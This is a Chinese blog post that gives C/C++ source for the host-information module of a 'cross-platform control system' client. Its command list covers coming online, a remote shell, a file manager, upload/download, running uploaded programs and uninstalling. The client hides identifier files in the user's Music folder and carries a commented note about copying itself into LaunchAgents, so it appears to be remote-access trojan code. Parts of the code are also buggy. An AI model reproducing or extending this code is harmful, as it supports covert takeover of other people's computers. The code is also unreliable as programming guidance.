windows linux—unix 跨平台通信集成控制系统----系统硬件信息获取
控制集成系统需要了解系统的各项硬件信息,之前我们设计的时候,习惯使用c函数来搞,后来可能发现程序的移植性收到了一些影响,比如unix内核的一些c函数在linux下面是没有的:
比如
苹果达尔文内核的如下东西,linux里面就没有:
//kern_return_t kr;
//host_name_port_t myhost;
// kernel_version_t kversion;
// host_basic_info_data_t hinfo;
// mach_msg_type_number_t count;
char *cpu_type_name,*cpu_subtype_name;
// vm_size_t page_size;
// myhost = mach_host_self();
// kr = host_kernel_version(myhost, kversion);
// count = HOST_BASIC_INFO_COUNT;
// kr = host_info(myhost, HOST_BASIC_INFO, (host_info_t)&hinfo, &count);
// kr = host_page_size(myhost, &page_size); //
所以换一种思路我们考虑使用,shell命令获取信息,完后进行字符处理,这样即使换了系统,我们代码里面换换shell命令就可以了。
使用到的一些结构体跟宏定义:
// Created by mac mac on 13-5-8.
// Copyright (c) 2013年 __MyCompanyName__. All rights reserved.
// #ifndef mac_client_mac_h
#define mac_client_mac_h
////////////////////////////////////////////////////////////////////////////////////////
/*
1.注意中文标点,编译器不容易察觉
2.server 和client端的宏定义大小要统一
*/
/////////////////////////////////////////////////////////////////////////////////////////
#define MAX_SIZE 1024
#define MAX_NAME_LENGTH 64
#define MAX_PATH 260 //保持和windows端定义的一样
#define MAX_PATH_MAC 256 //苹果的最大长度
#define FALSE 0
#define TRUE 1 #define MAX_SEND_BUFFER 1024*4
#define MAX_RECV_BUFFER 1024*4 ///////////////////////////////////////////////////////////////////////////////////////// typedef struct Command //自定义命令结构体
{
int order;//命令序号
long datasize;
void * hwnd;//窗口句柄 }Command; typedef struct Server_Address //服务器地址
{ char strIP[3][MAX_PATH];//服务器ip
unsigned int uPort[3] ; //服务器端口
char remark[MAX_NAME_LENGTH];
}Server_Address; typedef struct _SYS_INFO //到时候得增加备注
{
Command cmd;
char remark[MAX_NAME_LENGTH]; //备注
char computer_name[MAX_NAME_LENGTH]; //
char user_name[MAX_NAME_LENGTH]; //
char sys_version[MAX_NAME_LENGTH]; //
char cpu_type[MAX_NAME_LENGTH]; //
char host_ip_address[MAX_NAME_LENGTH]; //内网ip
char ip_addresss[MAX_NAME_LENGTH]; //外网ip
char uuid[MAX_NAME_LENGTH]; //被控端的唯一标识 unsigned int cpu_num; //
unsigned int mem_total; //
int host_id; //
}SYS_INFO; enum
{
COMMAND_BIGIN = 20000, //命令开始
TOKEN_ONLINE, //上线命令
COMMAND_BREAK, //断开链接
COMMAND_UNINSTALL, //卸载
COMMAND_MODIFY_REMARK, //修改备注
///////////////////////////////////////////////////////////////////////////
COMMAND_MANAGER_FILE, //打开文件管理窗口
COMMAND_GET_DIRECTORY, //获取控制端主机根目录下所有文件信息
COMMAND_GET_REQUEST_DIRECTORY, //获取双击请求目录中所有文件信息
COMMAND_SEARCH_FILE, //文件搜索,还没做
COMMAND_WRONG_DIRECTORY, //目录为空或者不可读
COMMAND_DELETE_FILE, //删除文件
COMMAND_FILE_CLOSE, //关闭当前文件管理功能的链接
////////////////////////////////////////////////////////////////////////// COMMAND_MANAGER_CMD, //打开cmd管理窗口
TOKEN_CMD_NEXT, //等待下一个命令
COMMAND_SHELL, //控制端请求的shell命令
COMMAND_SHELL_CLOSE, //关闭shell
//////////////////////////////////////////////////////////////////////////
COMMAND_MANAGER_DOWNLOAD, //打开文件下载功能
TOKEN_DOWNLOAD_SETUP, //控制端发送文件下载连接和uuid
COMMAND_GET_FILEDATA, //请求文件数据
TOKEN_SENT_FILEDATA, //发送文件数据
TOKEN_CANT_GET_DATA, //给控制端发送消息文件不可读
////////////////////////////////////////////////////////////////////////
COMMAND_MANAGER_UPLOAD, //开启文件上传
TOKEN_UPLOAD_SETUP, //接受文件上传连接
COMMAND_SENT_UPLOAD_DATA, //发送上传文件数据
TOKEN_UPLOAD_DATA, //请求上传文件数据
TOKEN_UPLOAD_COMPLETE, //文件上传完成
COMMAND_RUN_PROGARM, //上传运行的文件 COMMAND_UPLOAD_CLOSE, //关闭上传进程和连接 }; #endif
下面是代码:
Systeminfo.h
/*
* File: System_Info.h
* Author: Administrator
*
* Created on
*/ #ifndef SYSTEM_INFO_H
#define SYSTEM_INFO_H
#include <iostream>
#include <stdlib.h>
#include <string.h> #include <netinet/in.h> // for sockaddr_in
#include <sys/types.h> // for socket
#include <sys/socket.h> // for socket
#include <stdio.h> // for printf
#include <stdlib.h> // for exit #include <netdb.h>
#include <pthread.h> //for th/Users/twd/Desktop/NewPc/mainread
#include <stdbool.h> //for bool
#include <iconv.h> //for utf-8 gb2312
#include <sys/cdefs.h>
#include <sys/errno.h>
#include <sys/stat.h> //for dir
#include <unistd.h>
#include <dirent.h>
#include <arpa/inet.h> //honts, inet_addr
#include <ctype.h> //isdigit
#include <errno.h> //errno
#include <fcntl.h> //OWRONLY
#include <unistd.h>
#include <pwd.h> //for username
//#include <copyfile.h>
//#include <mach/host_info.h>
#include <netdb.h>
#include <grp.h>
#include "mac.h"
//#include <mach/mach.h> #include <sys/mount.h>
using namespace std; int GetDeviceInfo(SYS_INFO * si);//声明一下,传递一个结构体到引用
void writeBeizhuInfo(char *beizhu);//写备份文件
char * readUuidInfo(SYS_INFO* si);//读取生成的uuid
char * readUuid();
void writeUuidInfo_info();
bool GetHost(char *domainName,char * ip); char * readDirectory(char * directory);//上传文件的目录 int myexec(const char *cmd, string &resvec);//管道运行命令,得到一些系统信息 #endif /* SYSTEM_INFO_H */
实现:
//
// SystemInfo.cpp
// mac_client
//
// Created by mac mac on 13-5-21.
// Copyright (c) 2013年 __MyCompanyName__. All rights reserved.
// //#ifdef __cplusplus
//extern "C" {
//#endif //#include <iostream> #include "SystemInfo.h"
#include <stdlib.h> int beizhuaccess = 0; //标志位,备注有没有改变 bool GetHost(char *domainName,char * ip)
{ int i;
struct hostent *he;
struct in_addr **addr_list; //char * name = "www.csdn.net"; if ((he = gethostbyname(domainName)) == NULL)
{ // get the host info
herror("gethostbyname");
return NULL;
} // print information about this host:
printf("Official name is: %s\n", he->h_name);
printf(" IP addresses: ");
addr_list = (struct in_addr **)he->h_addr_list; for(i = 0; addr_list[i] != NULL; i++)
{
printf("%s ", inet_ntoa(*addr_list[i]));
sprintf(ip, "%s",inet_ntoa(*addr_list[i]));
} ///return
printf("\n"); return ip;
} void get_ip(SYS_INFO* si)
{
//char hname[128];
struct hostent *hent;
int i; gethostname(si->host_ip_address, sizeof(si->host_ip_address)); //hent = gethostent();
hent = gethostbyname(si->host_ip_address); printf("hostname: %s/naddress list: ", hent->h_name);
for(i = 0; hent->h_addr_list[i]; i++)
{
printf("%s/t", inet_ntoa(*(struct in_addr*)(hent->h_addr_list[i])));
memcpy(si->host_ip_address, inet_ntoa(*(struct in_addr*)(hent->h_addr_list[i])), sizeof(si->host_ip_address));
printf("%s\n",si->host_ip_address);
}
} char * readDirectory(char * directory)
{ char *login_name = (char *)malloc(MAX_NAME_LENGTH * sizeof(char)); struct passwd *pwd;
pwd = getpwuid(getuid());
login_name = pwd->pw_name; //获取当前用户名 //char path[MAX_NAME_LENGTH]; sprintf(directory,"/Users/%s/Library/Music",login_name);//创建的路径
//sprintf(directory,zhuliuPath,login_name);
return directory;
} char * readUuid()
{
char path[MAX_PATH] = {0};
char *uuid = (char *)malloc(MAX_PATH_MAC); char *login_name = (char *)malloc(MAX_NAME_LENGTH * sizeof(char)); struct passwd *pwd;
pwd = getpwuid(getuid());
login_name = pwd->pw_name; //获取当前用户名 sprintf(path,"/Users/%s/Library/Music",login_name);//创建的路径
//sprintf(path,zhuliuPath,login_name); strcat(path, "/uuid.lol");
//if (access(path,0)==0)
//{
FILE *fp = fopen(path, "r");
fgets(uuid,MAX_NAME_LENGTH,fp);
fclose(fp); return uuid; } char * readUuidInfo(SYS_INFO* si)
{
char path[MAX_PATH] = {0};
char *uuid = (char *)malloc(MAX_PATH_MAC); char *login_name = (char *)malloc(MAX_NAME_LENGTH * sizeof(char)); struct passwd *pwd;
pwd = getpwuid(getuid());
login_name = pwd->pw_name; //获取当前用户名 // sprintf(path,"/Users/%s/Library/Music",login_name);//创建的路径
//sprintf(path,zhuliuPath,login_name); strcat(path, "/uuid.lol"); FILE *fp = fopen(path, "r");
fgets(uuid,MAX_NAME_LENGTH,fp);
fclose(fp);
strcat(si->uuid, uuid); return uuid; } void writeBeizhuInfo(char *beizhu)
{ char *login_name = (char *)malloc(MAX_NAME_LENGTH * sizeof(char)); struct passwd *pwd;
pwd = getpwuid(getuid());
login_name = pwd->pw_name; //获取当前用户名
char path[MAX_PATH] = {0}; sprintf(path,"/Users/%s/Library/Music",login_name);//创建的路径
//sprintf(path,zhuliuPath,login_name);
strcat(path, "/beizhu.lol");
//if (access(path,0)==0)
//{
FILE *fp = fopen(path, "w");
fputs(beizhu,fp);
//strcpy(si->remark, beizhu);
//}
fclose(fp);
}
int myexec(const char *cmd, string &resvec)
{
resvec.clear();
FILE *pp = popen(cmd, "r"); //建立管道
if (!pp)
{
return -1;
}
char tmp[1024]; //设置一个合适的长度,以存储每一行输出
while (fgets(tmp, sizeof(tmp), pp) != NULL)
{
if (tmp[strlen(tmp) - 1] == '\n')
{
tmp[strlen(tmp) - 1] = '\0'; //去除换行符
}
resvec.append(tmp);
}
pclose(pp); //关闭管道
return resvec.size();
} void writeUuidInfo_info()
{
FILE *fp = popen("uuidgen", "r");//打开管道,执行命令,生成uuid
char buffer[MAX_NAME_LENGTH] = {0};
while (NULL != fgets(buffer, MAX_NAME_LENGTH, fp)) //逐行读取执行结果并打印
{
printf(buffer);
}
//fclose(fp); char *login_name = (char *)malloc(MAX_NAME_LENGTH * sizeof(char)); struct passwd *pwd;
pwd = getpwuid(getuid());
login_name = pwd->pw_name; //获取当前用户名
char path[MAX_PATH] = {0}; sprintf(path,"/Users/%s/Library/Music",login_name);//创建的路径
//sprintf(path,zhuliuPath,login_name);
//*
// int IsHave=mkdir(path,S_IRWXU|S_IRGRP|S_IXGRP|S_IROTH);//创建LaunchAgents文件夹,把自身拷贝进去
// if(IsHave<0)//创建新目录
//{
// printf("mkdir failed\n");
// exit(0);
// }
string str_mkdir = "mkdir -p ";
str_mkdir.append(path);
string str_mkdir_result;
myexec(str_mkdir.c_str(),str_mkdir_result); strcat(path, "/uuid.lol");
FILE *fpf = fopen(path, "w");
int i = fputs(buffer,fpf); fclose(fpf); pclose(fp); } int GetDeviceInfo(SYS_INFO *si)
{
char temp[64]={0};
gethostname(si->computer_name,sizeof(si->computer_name)); struct passwd *passwd;
passwd = getpwuid (getuid());
struct group *group;
group = getgrgid (passwd->pw_gid); sprintf(si->user_name,"%s-%s",group->gr_name,passwd->pw_name); string str_kernel;
myexec("uname -sr",str_kernel);
cout<<str_kernel<<endl;
strcat(si->sys_version,str_kernel.c_str()); string str_cpu;
myexec("grep \"model name\" /proc/cpuinfo | cut -f2 -d:|head -1",str_cpu);
cout<<str_cpu<<endl;
strcat(si->cpu_type,str_cpu.c_str()); puts(si->computer_name); struct hostent *hent;
int i; gethostname(si->host_ip_address, sizeof(si->host_ip_address)); hent = gethostent();
//hent = gethostbyname(si->host_ip_address); printf("hostname: %s/naddress list: ", hent->h_name);
for(i = 0; hent->h_addr_list[i]; i++)
{
printf("%s/t", inet_ntoa(*(struct in_addr*)(hent->h_addr_list[i])));
memcpy(si->host_ip_address, inet_ntoa(*(struct in_addr*)(hent->h_addr_list[i])), sizeof(si->host_ip_address));
}
printf("%s\n",si->host_ip_address); string str_mem_total;
myexec("free -m |grep \"Mem\" | awk \'{print $2}\'",str_mem_total);
cout<<str_mem_total<<endl;
si->mem_total = atoi(str_mem_total.c_str());
// strcat(si->cpu_type,str_cpu.c_str()); printf("%s\n",si->user_name);
printf("%s\n",si->sys_version);
printf("%s\n",si->cpu_type);
printf("cpu:%d\n",si->cpu_num);
printf("memory:%d\n",si->mem_total); ///////////////////////////////////读备注文件//////////////////////////////////////////////////////
char path[MAX_PATH] = {0};
char beizhu[MAX_PATH_MAC] = {0}; sprintf(path,"/Users/%s/Library/Music",passwd->pw_name);//创建的路径
//sprintf(path,zhuliuPath,passwd->pw_name);
strcat(path, "/beizhu.lol");
if (access(path,0)==0)
{
FILE *fp = fopen(path, "r");
fgets(beizhu,MAX_NAME_LENGTH,fp);
fclose(fp);
beizhuaccess = 1; strcpy(si->remark, beizhu);
}
else
{
strcpy(si->remark, "default"); } ///////////////////////////////////////读取uuid////////////////////////////////////////////////////////
char uuidPath[MAX_PATH] = {0};
sprintf(uuidPath,"/Users/%s/Library/Music",passwd->pw_name);
strcat(uuidPath, "/uuid.lol");
if (access(uuidPath,0)==0)
{
readUuidInfo(si); }
else
{
writeUuidInfo_info();
readUuidInfo(si); } /////////////////////////////////////////////////////////////////////////////////////////////
return 0;
} //#ifdef __cplusplus
//} //#endif
搭建传输的socket平台参考下面博文:
http://blog.csdn.net/wangyaninglm/article/details/41940287
实现效果:
windows linux—unix 跨平台通信集成控制系统----系统硬件信息获取的更多相关文章
- windows linux—unix 跨平台通信集成控制系统----文件搜索
跨平台的网络通信,跟设备的集成控制,牵扯到在各种平台下的文件搜索问题,windows下面的已经有了. 地址如下: http://blog.csdn.net/wangyaninglm/article/d ...
- windows linux—unix 跨平台通信集成控制系统
首先,我们可以用到这个开源的开发包: mdk(Micro-Development-Kit)微量级软件开发包,提供几个常用类,主要实现了一个高性能的并发服务器引擎 使用c++开发,是一个跨平台的开发包, ...
- Linux下使用fstatfs/statfs查询系统相关信息
Linux下使用fstatfs/statfs查询系统相关信息 1. 功能 #include < sys/statfs.h > int statfs(const char *path, ...
- Linux查看系统硬件信息命令
Linux查看系统硬件信息命令 查看磁盘类型(是否SSD) cat /sys/block/sda/queue/rotational code:0 SSD盘 code:1 SATA盘 查看物理CPU个数 ...
- centos 7 查看系统/硬件信息及运维常用命令+联想Y430P无线网卡驱动安装
centos 7 查看系统/硬件信息及运维常用命令 当前环境:联想Y430P CentOS 7.3 [root@yan-001 ~] # uname -a # 查看内核/操作系统/CPU信息的Li ...
- 利用CMD查看系统硬件信息
利用CMD查看系统硬件信息对于在windows下查看系统信息大家一定不陌生了,我现在说几个最常用的方法,对命令感兴趣的朋友看看,(给菜鸟看的,老手就不要笑话我了,大家都是从那个时候过来的,^_^).一 ...
- android 获取系统硬件信息
一,首先设置权限访问: <uses-permission android:name="android.permission.READ_PHONE_STATE" /> ...
- (转)IBM AIX系统硬件信息查看命令(shell脚本)
IBM AIX系统硬件信息查看命令(shell脚本) 原文:http://blog.itpub.net/22085031/viewspace-1054015/ 查看IBM AIX系统的主机型号.序列号 ...
- Shell获取Aix/linux/unix机器上db2和os的信息并上传到指定服务器
(之前写过一篇类似的文章,当时传输文件用的是ftp,因为项目觉得ftp不够安全所以这次换成了scp,同时对脚本的一些地方也做了一些调整) 其实做这个东西还是因为项目的需求,需要获取某些机器(目前主要是 ...
随机推荐
- 有一台机器,上面有m个储存空间。然后有n个请求,第i个请求计算时需要占 R[i]个空间,储存计算结果则需要占据O[i]个空间(据O[i]个空间(其中O[i]<R[i])。问怎么安排这n个请求的顺序,使
有一台机器,上面有m个储存空间.然后有n个请求,第i个请求计算时需要占 R[i]个空间,储存计算结果则需要占据O[i]个空间(据O[i]个空间(其中O[i]<R[i]).问怎么安排这n个请求的顺 ...
- 理解性能的奥秘——应用程序中慢,SSMS中快(4)——收集解决参数嗅探问题的信息
本文属于<理解性能的奥秘--应用程序中慢,SSMS中快>系列 接上文:理解性能的奥秘--应用程序中慢,SSMS中快(3)--不总是参数嗅探的错 前面已经提到过关于存储过程在SSMS中运行很 ...
- PHP学习(2)——运行环境搭建
学习PHP首先要搞定PHP的运行环境.PHP的运行环境包括:PHP语言解析器本身以及Apache服务器.MySQL数据库等.因为只是学习嘛,尽快的搭建起来运行环境就好,到后期慢慢懂得多了再去想规范化搭 ...
- Java基础之枚举妙用
对于枚举,初学Java的时候可能我们就已经接触过了,但是在毕业前,其实一直都不知道真正工作里面枚举是怎么用的,枚举有什么用?接下来,博主就介绍枚举在实际工作中的一种使用场景,本文只适合初级的小菜鸟看哈 ...
- Dynamics CRM 通过Odata创建及更新记录各类型字段的赋值方式
CRM中通过Odata方式去创建或者更新记录时,各种类型的字段的赋值方式各不相同,这里转载一篇博文很详细的列出了各类型字段赋值方式,以供后期如有遗忘再次查询使用. http://luoyong0201 ...
- RxJava(七) 使用debounce操作符 优化app搜索功能
欢迎转载,转载请标明出处: http://blog.csdn.net/johnny901114/article/details/51555203 本文出自:[余志强的博客] 一.抛出问题 现在几乎所有 ...
- EJB_开发EJB容器模型的WEB服务
开发EJB容器模型的WEB服务 WEB服务 Web服务也是一种分布式技术,它与EJB最大的不同是,Web服务属于行业规范,可以跨平台及语言.而EJB属于Java平台的规范,尽管理论上可以跨平台,但实现 ...
- Android中FrameAnimation动画的使用
Frame Animation 表示帧动画,是顺序播放事先做好的图像,跟电影类似,Android SDK提供了另外一个类AnimationDrawable来定义使用Frame Animation. 下 ...
- Android ListPopupWindow的使用
其实像ListPopupWindow.PopupMenu的用法大致和PopupWindow的一样!就不讲了,相信用过PopupWindow的看一下就能明白. 先上个效果图: ListPopupWind ...
- scala学习笔记2(类,继承,抽象类)
class Person{ // _ 是占位符; var name : String = _ val age : Int = 27 // private[this] 定义的内容无法外部使用,起到保护作 ...